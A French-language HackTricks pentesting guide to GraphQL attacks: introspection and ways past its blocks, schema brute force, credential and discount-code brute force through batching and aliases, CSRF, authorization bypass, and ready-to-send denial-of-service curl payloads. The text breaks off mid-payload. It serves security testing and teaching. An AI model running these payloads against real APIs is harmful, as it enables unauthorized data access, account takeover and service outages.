GraphQL

Tip

Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE) Apprenez et pratiquez le hacking Azure : HackTricks Training Azure Red Team Expert (AzRTE)

Soutenir HackTricks

Introduction

GraphQL est mis en avant comme une alternative efficace à l’API REST, offrant une approche simplifiée pour interroger les données côté backend. Contrairement à REST, qui nécessite souvent de nombreuses requêtes sur des endpoints variés pour rassembler les données, GraphQL permet de récupérer toutes les informations nécessaires via une seule requête. Cette simplification profite considérablement aux développeurs en diminuant la complexité de leurs processus de récupération de données.

GraphQL and Security

Avec l’avènement de nouvelles technologies, dont GraphQL, de nouvelles vulnérabilités de sécurité apparaissent également. Un point important est que GraphQL n’inclut pas de mécanismes d’authentification par défaut. Il incombe aux développeurs d’implémenter ces mesures de sécurité. Sans une authentification appropriée, les endpoints GraphQL peuvent exposer des informations sensibles à des utilisateurs non authentifiés, constituant un risque de sécurité important.

Directory Brute Force Attacks and GraphQL

Pour identifier les instances GraphQL exposées, il est recommandé d’inclure des chemins spécifiques lors d’attaques de brute force de répertoires. Ces chemins sont :

  • /graphql
  • /graphiql
  • /graphql.php
  • /graphql/console
  • /api
  • /api/graphql
  • /graphql/api
  • /graphql/graphql

L’identification d’instances GraphQL ouvertes permet d’examiner les requêtes supportées. Cela est crucial pour comprendre les données accessibles via l’endpoint. Le système d’introspection de GraphQL facilite cela en détaillant les requêtes qu’un schéma prend en charge. Pour plus d’informations à ce sujet, référez-vous à la documentation GraphQL sur l’introspection : GraphQL: A query language for APIs.

Fingerprint

L’outil graphw00f peut détecter quel moteur GraphQL est utilisé sur un serveur, puis affiche des informations utiles pour l’auditeur de sécurité.

Requêtes universelles

Pour vérifier si une URL est un service GraphQL, une requête universelle, query{__typename}, peut être envoyée. Si la réponse inclut {"data": {"__typename": "Query"}}, cela confirme que l’URL héberge un endpoint GraphQL. Cette méthode s’appuie sur le champ __typename de GraphQL, qui révèle le type de l’objet interrogé.

query{__typename}

Énumération de base

Graphql prend généralement en charge GET, POST (x-www-form-urlencoded) et POST (json). Cependant, pour des raisons de sécurité, il est recommandé de n’autoriser que json pour prévenir les attaques CSRF.

Introspection

Pour utiliser l’introspection afin de découvrir les informations du schéma, interrogez le champ __schema. Ce champ est disponible sur le type racine de toutes les requêtes.

query={__schema{types{name,fields{name}}}}

Avec cette requête, vous trouverez le nom de tous les types utilisés :

query={__schema{types{name,fields{name,args{name,description,type{name,kind,ofType{name, kind}}}}}}}

Avec cette requête vous pouvez extraire tous les types, leurs champs et leurs arguments (et le type des arguments). Cela sera très utile pour savoir comment interroger la base de données.

Erreurs

Il est intéressant de savoir si les erreurs vont être affichées, car elles apporteront des informations utiles.

?query={__schema}
?query={}
?query={thisdefinitelydoesnotexist}

Énumérer le schéma de la base de données via l’introspection

Tip

Si l’introspection est activée mais que la requête ci-dessus ne s’exécute pas, essayez de supprimer les directives onOperation, onFragment, et onField de la structure de la requête.

#Full introspection query

query IntrospectionQuery {
__schema {
queryType {
name
}
mutationType {
name
}
subscriptionType {
name
}
types {
...FullType
}
directives {
name
description
args {
...InputValue
}
onOperation  #Often needs to be deleted to run query
onFragment   #Often needs to be deleted to run query
onField      #Often needs to be deleted to run query
}
}
}

fragment FullType on __Type {
kind
name
description
fields(includeDeprecated: true) {
name
description
args {
...InputValue
}
type {
...TypeRef
}
isDeprecated
deprecationReason
}
inputFields {
...InputValue
}
interfaces {
...TypeRef
}
enumValues(includeDeprecated: true) {
name
description
isDeprecated
deprecationReason
}
possibleTypes {
...TypeRef
}
}

fragment InputValue on __InputValue {
name
description
type {
...TypeRef
}
defaultValue
}

fragment TypeRef on __Type {
kind
name
ofType {
kind
name
ofType {
kind
name
ofType {
kind
name
}
}
}
}

Requête d’introspection inline :

/?query=fragment%20FullType%20on%20Type%20{+%20%20kind+%20%20name+%20%20description+%20%20fields%20{+%20%20%20%20name+%20%20%20%20description+%20%20%20%20args%20{+%20%20%20%20%20%20...InputValue+%20%20%20%20}+%20%20%20%20type%20{+%20%20%20%20%20%20...TypeRef+%20%20%20%20}+%20%20}+%20%20inputFields%20{+%20%20%20%20...InputValue+%20%20}+%20%20interfaces%20{+%20%20%20%20...TypeRef+%20%20}+%20%20enumValues%20{+%20%20%20%20name+%20%20%20%20description+%20%20}+%20%20possibleTypes%20{+%20%20%20%20...TypeRef+%20%20}+}++fragment%20InputValue%20on%20InputValue%20{+%20%20name+%20%20description+%20%20type%20{+%20%20%20%20...TypeRef+%20%20}+%20%20defaultValue+}++fragment%20TypeRef%20on%20Type%20{+%20%20kind+%20%20name+%20%20ofType%20{+%20%20%20%20kind+%20%20%20%20name+%20%20%20%20ofType%20{+%20%20%20%20%20%20kind+%20%20%20%20%20%20name+%20%20%20%20%20%20ofType%20{+%20%20%20%20%20%20%20%20kind+%20%20%20%20%20%20%20%20name+%20%20%20%20%20%20%20%20ofType%20{+%20%20%20%20%20%20%20%20%20%20kind+%20%20%20%20%20%20%20%20%20%20name+%20%20%20%20%20%20%20%20%20%20ofType%20{+%20%20%20%20%20%20%20%20%20%20%20%20kind+%20%20%20%20%20%20%20%20%20%20%20%20name+%20%20%20%20%20%20%20%20%20%20%20%20ofType%20{+%20%20%20%20%20%20%20%20%20%20%20%20%20%20kind+%20%20%20%20%20%20%20%20%20%20%20%20%20%20name+%20%20%20%20%20%20%20%20%20%20%20%20%20%20ofType%20{+%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20kind+%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20name+%20%20%20%20%20%20%20%20%20%20%20%20%20%20}+%20%20%20%20%20%20%20%20%20%20%20%20}+%20%20%20%20%20%20%20%20%20%20}+%20%20%20%20%20%20%20%20}+%20%20%20%20%20%20}+%20%20%20%20}+%20%20}+}++query%20IntrospectionQuery%20{+%20%20schema%20{+%20%20%20%20queryType%20{+%20%20%20%20%20%20name+%20%20%20%20}+%20%20%20%20mutationType%20{+%20%20%20%20%20%20name+%20%20%20%20}+%20%20%20%20types%20{+%20%20%20%20%20%20...FullType+%20%20%20%20}+%20%20%20%20directives%20{+%20%20%20%20%20%20name+%20%20%20%20%20%20description+%20%20%20%20%20%20locations+%20%20%20%20%20%20args%20{+%20%20%20%20%20%20%20%20...InputValue+%20%20%20%20%20%20}+%20%20%20%20}+%20%20}+}

La dernière ligne de code est une requête graphql qui va dump toutes les méta-informations de graphql (noms des objets, paramètres, types…)

Si l’introspection est activée, vous pouvez utiliser GraphQL Voyager pour voir dans une GUI toutes les options.

Requêtes

Maintenant que nous savons quel type d’informations est stocké dans la base de données, essayons d’extraire quelques valeurs.

Dans l’introspection, vous pouvez trouver quel objet vous pouvez interroger directement (parce que vous ne pouvez pas interroger un objet simplement parce qu’il existe). Dans l’image suivante, vous pouvez voir que le “queryType” s’appelle “Query” et que l’un des champs de l’objet “Query” est “flags”, qui est aussi un type d’objet. Par conséquent, vous pouvez interroger l’objet “flags”.

Notez que le type de la requête “flags” est “Flags”, et cet objet est défini comme suit :

Vous pouvez voir que les objets “Flags” sont composés de name et de value. Ensuite, vous pouvez obtenir tous les noms et valeurs des flags avec la requête :

query={flags{name, value}}

Notez que dans le cas où l’objet à interroger est un type primitif comme string comme dans l’exemple suivant

Vous pouvez simplement le requêter avec :

query = { hiddenFlags }

Dans un autre exemple où il y avait 2 objects à l’intérieur du type “Query”: “user” et “users”.
Si ces objects n’ont pas besoin d’argument pour rechercher, on peut récupérer toutes les informations depuis eux simplement en demandant les données que l’on veut. Dans cet exemple trouvé sur Internet vous pourriez extraire les usernames et passwords sauvegardés :

Cependant, dans cet exemple si vous essayez de le faire vous obtenez cette erreur :

Il semble qu’il recherche d’une façon ou d’une autre en utilisant l’argument “uid” de type Int.
Quoi qu’il en soit, nous le savions déjà : dans la section Basic Enumeration une query a été proposée qui nous montrait toutes les informations nécessaires : query={__schema{types{name,fields{name, args{name,description,type{name, kind, ofType{name, kind}}}}}}}

Si vous regardez l’image fournie lorsque j’exécute cette query vous verrez que “user” avait l’arguid” de type Int.

Donc, en effectuant un léger bruteforce uid j’ai trouvé que pour uid=1 un username et un password ont été récupérés :
query={user(uid:1){user,password}}

Notez que j’ai découvert que je pouvais demander les paramètresuser” et “password” car si j’essaie de chercher quelque chose qui n’existe pas (query={user(uid:1){noExists}}) j’obtiens cette erreur :

Et pendant la enumeration phase j’ai découvert que l’object “dbuser” avait comme champs “user” et “password.

Query string dump trick (thanks to @BinaryShadow_)

Si vous pouvez rechercher par un type string, par exemple : query={theusers(description: ""){username,password}} et que vous recherchez une chaîne vide cela va dump all data. (Note : cet exemple n’est pas lié à l’exemple des tutoriels, pour cet exemple supposez que vous pouvez rechercher en utilisant “theusers” par un champ String appelé “description).

Recherche

Dans cette configuration, une base de données contient des personnes et des films. Les personnes sont identifiées par leur email et nom ; les films par leur nom et leur note. Les personnes peuvent être amies entre elles et ont aussi des films, indiquant des relations au sein de la base de données.

Vous pouvez rechercher des personnes par le nom et obtenir leurs emails :

{
searchPerson(name: "John Doe") {
email
}
}

Vous pouvez rechercher des personnes par le nom et obtenir leurs films abonnés:

{
searchPerson(name: "John Doe") {
email
subscribedMovies {
edges {
node {
name
}
}
}
}
}

Remarquez comment il est indiqué de récupérer le name des subscribedMovies de la personne.

Vous pouvez également rechercher plusieurs objets en même temps. Dans ce cas, une recherche de 2 films est effectuée:

{
searchPerson(subscribedMovies: [{name: "Inception"}, {name: "Rocky"}]) {
name
}
}r

Ou même relations de plusieurs objets différents en utilisant des alias:

{
johnsMovieList: searchPerson(name: "John Doe") {
subscribedMovies {
edges {
node {
name
}
}
}
}
davidsMovieList: searchPerson(name: "David Smith") {
subscribedMovies {
edges {
node {
name
}
}
}
}
}

Mutations

Les mutations sont utilisées pour apporter des modifications côté serveur.

Dans l’introspection vous pouvez trouver les mutations déclarées. Dans l’image suivante le “MutationType” est appelé “Mutation” et l’objet “Mutation” contient les noms des mutations (comme “addPerson” dans ce cas) :

Dans cette configuration, une base de données contient des personnes et des films. Les personnes sont identifiées par leur email et nom ; les films par leur nom et note. Les personnes peuvent être amis entre elles et possèdent également des films, ce qui indique des relations au sein de la base de données.

Une mutation pour créer de nouveaux films dans la base de données peut ressembler à la suivante (dans cet exemple la mutation s’appelle addMovie) :

mutation {
addMovie(name: "Jumanji: The Next Level", rating: "6.8/10", releaseYear: 2019) {
movies {
name
rating
}
}
}

Remarquez comment les valeurs et le type des données sont tous deux indiqués dans la requête.

De plus, la base de données prend en charge une opération de mutation, nommée addPerson, qui permet la création de persons ainsi que leur association à des friends et movies existants. Il est crucial de noter que les friends et movies doivent préexister dans la base de données avant d’être liés à la personne nouvellement créée.

mutation {
addPerson(name: "James Yoe", email: "jy@example.com", friends: [{name: "John Doe"}, {email: "jd@example.com"}], subscribedMovies: [{name: "Rocky"}, {name: "Interstellar"}, {name: "Harry Potter and the Sorcerer's Stone"}]) {
person {
name
email
friends {
edges {
node {
name
email
}
}
}
subscribedMovies {
edges {
node {
name
rating
releaseYear
}
}
}
}
}
}

Directive Overloading

Comme expliqué dans l’une des vulnérabilités décrites dans ce rapport, le directive overloading consiste à appeler une directive des millions de fois pour faire gaspiller des opérations au serveur jusqu’à pouvoir le DoS.

Batching brute-force in 1 API request

This information was take from https://lab.wallarm.com/graphql-batching-attack/.
L’authentification via GraphQL API en envoyant simultanément plusieurs requêtes avec des identifiants différents pour les vérifier. C’est une attaque de brute force classique, mais il est maintenant possible d’envoyer plus d’une paire login/password par requête HTTP grâce à la fonctionnalité de batching de GraphQL. Cette approche tromperait les outils externes de monitoring de taux en leur faisant croire que tout est normal et qu’aucun bot de brute-forcing n’essaie de deviner des mots de passe.

Ci‑dessous vous trouverez la démonstration la plus simple d’une requête d’authentification d’application, avec 3 paires email/password différentes à la fois. Évidemment, il est possible d’en envoyer des milliers dans une seule requête de la même manière :

Comme on le voit sur la capture de la réponse, la première et la troisième requêtes ont renvoyé null et ont reflété l’information correspondante dans la section error. La deuxième mutation contenait les bonnes données d’authentication et la réponse contient le token de session d’authentication correct.

GraphQL Without Introspection

De plus en plus d’endpoints graphql désactivent l’introspection. Cependant, les erreurs que graphql renvoie lorsqu’une requête inattendue est reçue sont suffisantes pour que des outils comme clairvoyance reconstruisent la majeure partie du schema.

De plus, l’extension Burp Suite GraphQuail observe les requêtes GraphQL API passant par Burp et construit un schema GraphQL interne à chaque nouvelle query qu’elle voit. Elle peut aussi exposer le schema pour GraphiQL et Voyager. L’extension renvoie une fausse réponse lorsqu’elle reçoit une requête d’introspection. En conséquence, GraphQuail affiche toutes les queries, arguments et champs disponibles pour l’API. Pour plus d’infos voir ceci.

Une bonne wordlist pour découvrir les entités GraphQL est disponible ici.

Bypassing GraphQL introspection defences

Pour contourner les restrictions sur les requêtes d’introspection dans les API, l’insertion d’un caractère spécial après le mot-clé __schema s’avère efficace. Cette méthode exploite des oublis fréquents des développeurs dans les patterns regex qui visent à bloquer l’introspection en se focalisant sur le mot-clé __schema. En ajoutant des caractères comme espaces, sauts de ligne et virgules, que GraphQL ignore mais qui peuvent ne pas être pris en compte par la regex, les restrictions peuvent être contournées. Par exemple, une requête d’introspection avec un saut de ligne après __schema peut contourner ces protections :

# Example with newline to bypass
{
"query": "query{__schema
{queryType{name}}}"
}

Si cela échoue, envisagez des méthodes de requête alternatives, comme GET requests ou POST with x-www-form-urlencoded, car des restrictions peuvent ne s’appliquer qu’aux POST requests.

Essayez WebSockets

Comme mentionné dans this talk, vérifiez s’il est possible de se connecter à graphQL via WebSockets, car cela pourrait vous permettre de contourner un éventuel WAF et faire en sorte que la communication WebSocket leak le schema du graphQL:

ws = new WebSocket("wss://target/graphql", "graphql-ws")
ws.onopen = function start(event) {
var GQL_CALL = {
extensions: {},
query: `
{
__schema {
_types {
name
}
}
}`,
}

var graphqlMsg = {
type: "GQL.START",
id: "1",
payload: GQL_CALL,
}
ws.send(JSON.stringify(graphqlMsg))
}

Découverte des structures GraphQL exposées

Lorsque l’introspection est désactivée, examiner le code source du site pour y trouver des requêtes préchargées dans les bibliothèques JavaScript est une stratégie utile. Ces requêtes peuvent être trouvées en utilisant l’onglet Sources des outils de développement, fournissant des informations sur le schéma de l’API et révélant potentiellement des requêtes sensibles exposées. Les commandes pour rechercher dans les outils de développement sont :

Inspect/Sources/"Search all files"
file:* mutation
file:* query

Error-based schema reconstruction & engine fingerprinting (InQL v6.1+)

Quand l’introspection est bloquée, InQL v6.1+ peut désormais reconstruire le schema accessible uniquement à partir des retours d’erreur. Le nouveau schema bruteforcer regroupe des noms de champs/arguments candidats depuis une wordlist configurable et les envoie dans des opérations multi-champs pour réduire le trafic HTTP. Les motifs d’erreur utiles sont ensuite récoltés automatiquement :

  • Field 'bugs' not found on type 'inql' confirme l’existence du type parent tout en rejetant les noms de champs invalides.
  • Argument 'contribution' is required indique qu’un argument est obligatoire et révèle son orthographe.
  • Les suggestions comme Did you mean 'openPR'? sont renvoyées dans la file comme candidats validés.
  • En envoyant volontairement des valeurs avec le mauvais primitive (e.g., integers for strings) le bruteforcer provoque des erreurs de type qui leak la vraie signature de type, y compris les wrappers list/object comme [Episode!].

Le bruteforcer continue de récurser sur tout type qui fournit de nouveaux champs, donc une wordlist mélangeant noms GraphQL génériques et hypothèses spécifiques à l’application finira par cartographier de larges portions du schema sans introspection. Le temps d’exécution est principalement limité par le rate limiting et le volume de candidats, donc ajuster finement les paramètres d’InQL (wordlist, batch size, throttling, retries) est critique pour des engagements plus discrets.

Dans la même release, InQL inclut un GraphQL engine fingerprinter (empruntant des signatures à des outils comme graphw00f). Le module envoie des directives/queries délibérément invalides et classe le backend en comparant le texte d’erreur exact. Par exemple :

query @deprecated {
__typename
}
  • Apollo renvoie Directive "@deprecated" may not be used on QUERY.
  • GraphQL Ruby répond '@deprecated' can't be applied to queries.

Une fois qu’un moteur est reconnu, InQL affiche l’entrée correspondante du GraphQL Threat Matrix, aidant les testeurs à prioriser les faiblesses propres à cette famille de serveurs (comportement d’introspection par défaut, limites de profondeur, lacunes CSRF, upload de fichiers, etc.).

Enfin, génération automatique de variables élimine un obstacle classique lorsqu’on bascule vers Burp Repeater/Intruder. Chaque fois qu’une opération nécessite un JSON de variables, InQL injecte maintenant des valeurs par défaut sensées afin que la requête passe la validation du schéma dès le premier envoi :

"String"  -> "exampleString"
"Int"     -> 42
"Float"   -> 3.14
"Boolean" -> true
"ID"      -> "123"
ENUM      -> first declared value

Les objets d’entrée imbriqués héritent du même mapping, vous obtenez donc immédiatement un payload syntaxiquement et sémantiquement valide qui peut être fuzzed pour SQLi/NoSQLi/SSRF/logic bypasses sans reverse-engineering manuel de chaque argument.

CSRF dans GraphQL

Si vous ne savez pas ce qu’est le CSRF, lisez la page suivante :

CSRF (Cross Site Request Forgery)

Vous y trouverez plusieurs endpoints GraphQL configurés sans tokens CSRF.

Notez que les requêtes GraphQL sont généralement envoyées via des requêtes POST en utilisant le Content-Type application/json.

{"operationName":null,"variables":{},"query":"{\n  user {\n    firstName\n    __typename\n  }\n}\n"}

Cependant, la plupart des endpoints GraphQL prennent également en charge form-urlencoded requêtes POST:

query=%7B%0A++user+%7B%0A++++firstName%0A++++__typename%0A++%7D%0A%7D%0A

Donc, comme les requêtes CSRF comme les précédentes sont envoyées sans preflight requests, il est possible d’effectuer des modifications dans GraphQL en abusant d’un CSRF.

Cependant, notez que la nouvelle valeur par défaut du cookie pour le flag samesite de Chrome est Lax. Cela signifie que le cookie ne sera envoyé depuis un site tiers que dans des requêtes GET.

Notez qu’il est généralement possible d’envoyer la query request également en tant que GET request, et que le CSRF token pourrait ne pas être validé dans une requête GET.

De plus, en abusant d’une XS-Search attack, il peut être possible d’exfiltrer du contenu depuis l’endpoint GraphQL en abusant des credentials de l’utilisateur.

Pour plus d’informations, consultez le article original ici.

Cross-site WebSocket hijacking in GraphQL

De la même manière que pour les vulnérabilités CRSF abusant graphQL, il est aussi possible d’effectuer un Cross-site WebSocket hijacking to abuse an authentication with GraphQL with unprotected cookies et de faire exécuter à un utilisateur des actions inattendues dans GraphQL.

For more information check:

WebSocket Attacks

Autorisation dans GraphQL

De nombreuses fonctions GraphQL définies sur l’endpoint peuvent ne vérifier que l’authentification du requérant mais pas l’autorisation.

La modification des variables d’entrée d’une query pourrait conduire à des informations de compte sensibles leaked.

Une Mutation pourrait même conduire à un account takeover en essayant de modifier les données d’autres comptes.

{
"operationName":"updateProfile",
"variables":{"username":INJECT,"data":INJECT},
"query":"mutation updateProfile($username: String!,...){updateProfile(username: $username,...){...}}"
}

Contourner l’autorisation dans GraphQL

Chaining queries together can bypass a weak authentication system.

In the below example you can see that the operation is “forgotPassword” and that it should only execute the forgotPassword query associated with it. This can be bypassed by adding a query to the end, in this case we add “register” and a user variable for the system to register as a new user.

Contourner les Rate Limits en utilisant Aliases dans GraphQL

In GraphQL, aliases are a powerful feature that allow for the naming of properties explicitly when making an API request. This capability is particularly useful for retrieving multiple instances of the same type of object within a single request. Aliases can be employed to overcome the limitation that prevents GraphQL objects from having multiple properties with the same name.

For a detailed understanding of GraphQL aliases, the following resource is recommended: Aliases.

While the primary purpose of aliases is to reduce the necessity for numerous API calls, an unintended use case has been identified where aliases can be leveraged to execute brute force attacks on a GraphQL endpoint. This is possible because some endpoints are protected by rate limiters designed to thwart brute force attacks by restricting the number of HTTP requests. However, these rate limiters might not account for the number of operations within each request. Given that aliases allow for the inclusion of multiple queries in a single HTTP request, they can circumvent such rate limiting measures.

Consider the example provided below, which illustrates how aliased queries can be used to verify the validity of store discount codes. This method could sidestep rate limiting since it compiles several queries into one HTTP request, potentially allowing for the verification of numerous discount codes simultaneously.

# Example of a request utilizing aliased queries to check for valid discount codes
query isValidDiscount($code: Int) {
isvalidDiscount(code:$code){
valid
}
isValidDiscount2:isValidDiscount(code:$code){
valid
}
isValidDiscount3:isValidDiscount(code:$code){
valid
}
}

DoS in GraphQL

Alias Overloading

Alias Overloading est une vulnérabilité GraphQL où des attaquants surchargent une requête avec de nombreux aliases pour le même champ, provoquant que le backend resolver exécute ce champ de manière répétée. Cela peut submerger les ressources du serveur, entraînant une Denial of Service (DoS). Par exemple, dans la requête ci‑dessous, le même champ (expensiveField) est demandé 1,000 fois en utilisant des aliases, forçant le backend à le calculer 1,000 fois, pouvant ainsi épuiser le CPU ou la mémoire :

# Test provided by https://github.com/dolevf/graphql-cop
curl -X POST -H "Content-Type: application/json" \
-d '{"query": "{ alias0:__typename \nalias1:__typename \nalias2:__typename \nalias3:__typename \nalias4:__typename \nalias5:__typename \nalias6:__typename \nalias7:__typename \nalias8:__typename \nalias9:__typename \nalias10:__typename \nalias11:__typename \nalias12:__typename \nalias13:__typename \nalias14:__typename \nalias15:__typename \nalias16:__typename \nalias17:__typename \nalias18:__typename \nalias19:__typename \nalias20:__typename \nalias21:__typename \nalias22:__typename \nalias23:__typename \nalias24:__typename \nalias25:__typename \nalias26:__typename \nalias27:__typename \nalias28:__typename \nalias29:__typename \nalias30:__typename \nalias31:__typename \nalias32:__typename \nalias33:__typename \nalias34:__typename \nalias35:__typename \nalias36:__typename \nalias37:__typename \nalias38:__typename \nalias39:__typename \nalias40:__typename \nalias41:__typename \nalias42:__typename \nalias43:__typename \nalias44:__typename \nalias45:__typename \nalias46:__typename \nalias47:__typename \nalias48:__typename \nalias49:__typename \nalias50:__typename \nalias51:__typename \nalias52:__typename \nalias53:__typename \nalias54:__typename \nalias55:__typename \nalias56:__typename \nalias57:__typename \nalias58:__typename \nalias59:__typename \nalias60:__typename \nalias61:__typename \nalias62:__typename \nalias63:__typename \nalias64:__typename \nalias65:__typename \nalias66:__typename \nalias67:__typename \nalias68:__typename \nalias69:__typename \nalias70:__typename \nalias71:__typename \nalias72:__typename \nalias73:__typename \nalias74:__typename \nalias75:__typename \nalias76:__typename \nalias77:__typename \nalias78:__typename \nalias79:__typename \nalias80:__typename \nalias81:__typename \nalias82:__typename \nalias83:__typename \nalias84:__typename \nalias85:__typename \nalias86:__typename \nalias87:__typename \nalias88:__typename \nalias89:__typename \nalias90:__typename \nalias91:__typename \nalias92:__typename \nalias93:__typename \nalias94:__typename \nalias95:__typename \nalias96:__typename \nalias97:__typename \nalias98:__typename \nalias99:__typename \nalias100:__typename \n }"}' \
'https://example.com/graphql'

Pour atténuer cela, mettez en place des alias count limits, une query complexity analysis ou du rate limiting pour prévenir l’abus de ressources.

Array-based Query Batching

Array-based Query Batching est une vulnérabilité où une GraphQL API permet de regrouper plusieurs requêtes dans une seule requête, permettant à un attaquant d’envoyer simultanément un grand nombre de requêtes. Cela peut submerger le backend en exécutant toutes les requêtes regroupées en parallèle, consommant des ressources excessives (CPU, memory, database connections) et pouvant conduire à un Denial of Service (DoS). Si aucune limite n’existe sur le nombre de requêtes dans un lot, un attaquant peut exploiter cela pour dégrader la disponibilité du service.

# Test provided by https://github.com/dolevf/graphql-cop
curl -X POST -H "User-Agent: graphql-cop/1.13" \
-H "Content-Type: application/json" \
-d '[{"query": "query cop { __typename }"}, {"query": "query cop { __typename }"}, {"query": "query cop { __typename }"}, {"query": "query cop { __typename }"}, {"query": "query cop { __typename }"}, {"query": "query cop { __typename }"}, {"query": "query cop { __typename }"}, {"query": "query cop { __typename }"}, {"query": "query cop { __typename }"}, {"query": "query cop { __typename }"}]' \
'https://example.com/graphql'

Dans cet exemple, 10 requêtes différentes sont groupées en une seule requête, forçant le serveur à toutes les exécuter simultanément. Si cela est exploité avec une taille de lot plus grande ou des requêtes coûteuses en calcul, cela peut surcharger le serveur.

Directive Overloading Vulnerability

Directive Overloading se produit lorsqu’un serveur GraphQL autorise des requêtes contenant des directives excessives et dupliquées. Cela peut submerger le parseur et l’exécuteur du serveur, surtout si le serveur traite de manière répétée la même logique de directive. En l’absence de validation ou de limites appropriées, un attaquant peut exploiter cela en construisant une requête avec de nombreuses directives dupliquées pour provoquer une utilisation élevée du processeur ou de la mémoire, conduisant à un Denial of Service (DoS).

# Test provided by https://github.com/dolevf/graphql-cop
curl -X POST -H "User-Agent: graphql-cop/1.13" \
-H "Content-Type: application/json" \
-d '{"query": "query cop { __typename @aa@aa@aa@aa@aa@aa@aa@aa@aa@aa }", "operationName": "cop"}' \
'https://example.com/graphql'

Notez que dans l’exemple précédent @aa est une directive personnalisée qui pourrait ne pas être déclarée. Une directive courante qui existe généralement est @include:

curl -X POST \
-H "Content-Type: application/json" \
-d '{"query": "query cop { __typename @include(if: true) @include(if: true) @include(if: true) @include(if: true) @include(if: true) }", "operationName": "cop"}' \
'https://example.com/graphql'

Vous pouvez également envoyer une requête d’introspection pour découvrir toutes les directives déclarées :

curl -X POST \
-H "Content-Type: application/json" \
-d '{"query": "{ __schema { directives { name locations args { name type { name kind ofType { name } } } } } }"}' \
'https://example.com/graphql'

Et ensuite utilisez certains éléments personnalisés.

Field Duplication Vulnerability

Field Duplication est une vulnérabilité où un serveur GraphQL autorise des requêtes avec le même champ répété de façon excessive. Cela oblige le serveur à résoudre le champ de façon redondante pour chaque occurrence, consommant des ressources importantes (CPU, mémoire et appels à la base de données). Un attaquant peut concevoir des requêtes avec des centaines ou des milliers de champs répétés, provoquant une charge élevée et pouvant conduire à un Denial of Service (DoS).

# Test provided by https://github.com/dolevf/graphql-cop
curl -X POST -H "User-Agent: graphql-cop/1.13" -H "Content-Type: application/json" \
-d '{"query": "query cop { __typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename 